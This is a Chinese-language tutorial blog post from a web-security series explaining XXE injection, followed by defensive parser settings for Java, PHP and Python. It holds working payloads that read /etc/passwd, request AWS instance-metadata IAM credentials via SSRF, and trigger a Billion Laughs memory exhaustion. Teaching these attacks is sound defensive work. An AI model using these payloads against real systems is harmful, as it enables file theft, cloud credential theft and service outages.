iT邦幫忙

2025 iThome 鐵人賽

DAY 27
0

今天我們來深入探討一個在處理 XML 資料時極為致命的漏洞——XXE Injection

XXE 的全名是 XML External Entity Injection,中文譯為「XML 外部實體注入」。這是一種伺服器端的攻擊,發生在應用程式解析 (Parse) 使用者提供的 XML 輸入時,如果 XML 解析器配置不當,允許處理外部實體的宣告,攻擊者就能夠發起攻擊。

這個漏洞的威力極大,它可以直接導致機敏資料外洩伺服器端請求偽造 (SSRF),甚至是拒絕服務攻擊 (DoS)


核心原理:一份會「自我填充」的惡意說明書

要理解 XXE,首先要了解 XML 的一個特性:實體 (Entity)

  • 實體 (Entity):你可以把它想像成 XML 文件中的「變數」或「捷徑」。它允許你定義一個名稱,來代表一段文字或一個外部資源。
  • 外部實體 (External Entity):這是 XXE 攻擊的關鍵。這種實體允許你引用外部檔案或 URL 的內容。

一個致命的比喻:
想像你有一本神奇的「萬能說明書」(你的 Web 應用程式),它會忠實地執行你用特殊墨水 (XML 格式) 寫下的任何指令。

  • 正常指令:你在說明書上寫下 <章節名>第一章</章節名>,說明書就會顯示「第一章」。

  • 惡意指令 (XXE):一個攻擊者用特殊墨水寫下一個指令:
    <!DOCTYPE foo [ <!ENTITY a_secret_file SYSTEM "file:///etc/passwd"> ]>
    這個指令的意思是:「我現在定義一個名為 a_secret_file 的變數,它的內容請你去伺服器的 /etc/passwd 這個檔案裡讀取。」

    接著,他又寫下:<章節內容>&a_secret_file;</章節內容>
    這句話的意思是:「請把 a_secret_file 這個變數的內容顯示在這裡。」

  • 盲目執行的說明書 (脆弱的 XML 解析器)
    你的「萬能說明書」看到這些指令後,它不會思考這個指令是否惡意,只會忠實地:

    1. 去伺服器本地磁碟讀取 /etc/passwd 檔案的內容。
    2. 將檔案內容填充到 <章節內容> 的位置。
    3. 最後,將包含伺服器密碼檔案內容的完整頁面,回傳給攻擊者。

攻擊就這樣發生了。脆弱的 XML 解析器就像那本盲目執行的說明書,它被攻擊者欺騙,從而洩漏了不該被存取的內部資訊。


XXE 的主要攻擊類型與 Payload 範例

XXE 的威力體現在它多樣化的攻擊向量上。

1. 資料外洩 (Information Disclosure) - 最經典的 XXE

這是最直接的利用方式,透過 file:// 協定讀取伺服器上的任意檔案。

  • 攻擊 Payload
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <user>
      <username>&xxe;</username>
      <password>some_password</password>
    </user>
    
  • 攻擊流程
    1. 攻擊者將上述 XML 作為請求(例如,在一個 JSON/XML API 端點)發送給伺服器。
    2. 伺服器上的 XML 解析器解析這段 XML,看到 &xxe; 實體。
    3. 解析器根據 SYSTEM 的定義,讀取 /etc/passwd 的內容。
    4. 解析器將檔案內容替換 &xxe;
    5. 應用程式的後續邏輯可能會在錯誤訊息或正常回應中,將包含 /etc/passwd 內容的 <username> 標籤回傳給攻擊者。

2. 伺服器端請求偽造 (SSRF)

XXE 是觸發 SSRF 的一種絕佳方式。攻擊者可以讓伺服器代替他向內部網路發起請求。

  • 攻擊 Payload
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE stock_check [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME"> ]>
    <stock>
      <product_id>&xxe;</product_id>
    </stock>
    
  • 攻擊流程
    • 伺服器收到請求後,XML 解析器會向 http://169.254.169.254/... (AWS 的內部中繼資料服務地址) 發起一個 HTTP 請求。
    • 這個請求是從伺服器內部發起的,可以繞過防火牆。
    • 如果成功,攻擊者就能竊取到該伺服器在雲端環境中的臨時存取金鑰,後果不堪設想。

3. 拒絕服務攻擊 (DoS) - 「十億大笑攻擊」(Billion Laughs Attack)

這是一種利用實體遞迴引用的方式,在記憶體中產生海量資料,從而耗盡伺服器資源導致崩潰。

  • 攻擊 Payload
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ...
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
    <lolz>&lol9;</lolz>
    
  • 攻擊流程
    • XML 解析器在解析 &lol9; 時,會嘗試將其展開。
    • 這個展開是指數級的,最終會嘗試在記憶體中創建十億個 "lol" 字串,這會瞬間耗盡伺服器的記憶體並導致應用程式崩潰。

如何防禦 XXE?

防禦 XXE 的核心思想非常明確:除非你的業務邏輯真的、真的、真的需要,否則就應該在你的 XML 解析器中徹底禁用外部實體的處理功能。

這是最根本、最有效的防禦措施。

不同程式語言的防禦範例:

  • Java
    對於 JAXP、DOM、SAX 等標準庫,可以設定以下特性來禁用外部實體:

    // 禁用 DTDs (這會間接禁用外部實體)
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    
    // 或者更明確地禁用外部實體
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  • PHP
    使用 libxml 時,在解析前加入以下程式碼:

    libxml_disable_entity_loader(true);
    
  • Python
    對於 lxml 函式庫,在創建解析器時禁用實體解析:

    # resolve_entities=False 是關鍵
    xml_parser = etree.XMLParser(resolve_entities=False)
    etree.fromstring(xml_string, xml_parser)
    

XXE 是一個高危險的伺服器端漏洞,它源於對 XML 這種老舊但仍廣泛使用的資料格式的特性處理不當。攻擊者可以透過注入惡意的外部實體定義,將原本只是用來傳輸資料的 XML 變成一個強大的攻擊武器。對於開發者而言,最關鍵的防禦措施就是在 XML 解析層面關閉這個危險的「後門」,永不處理來自不可信來源的 DTD 或外部實體。


上一篇
Dat25:Gobuster
下一篇
Day27:不安全的反序列化
系列文
跨出第一步:D 從0到0.1的Web security 30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言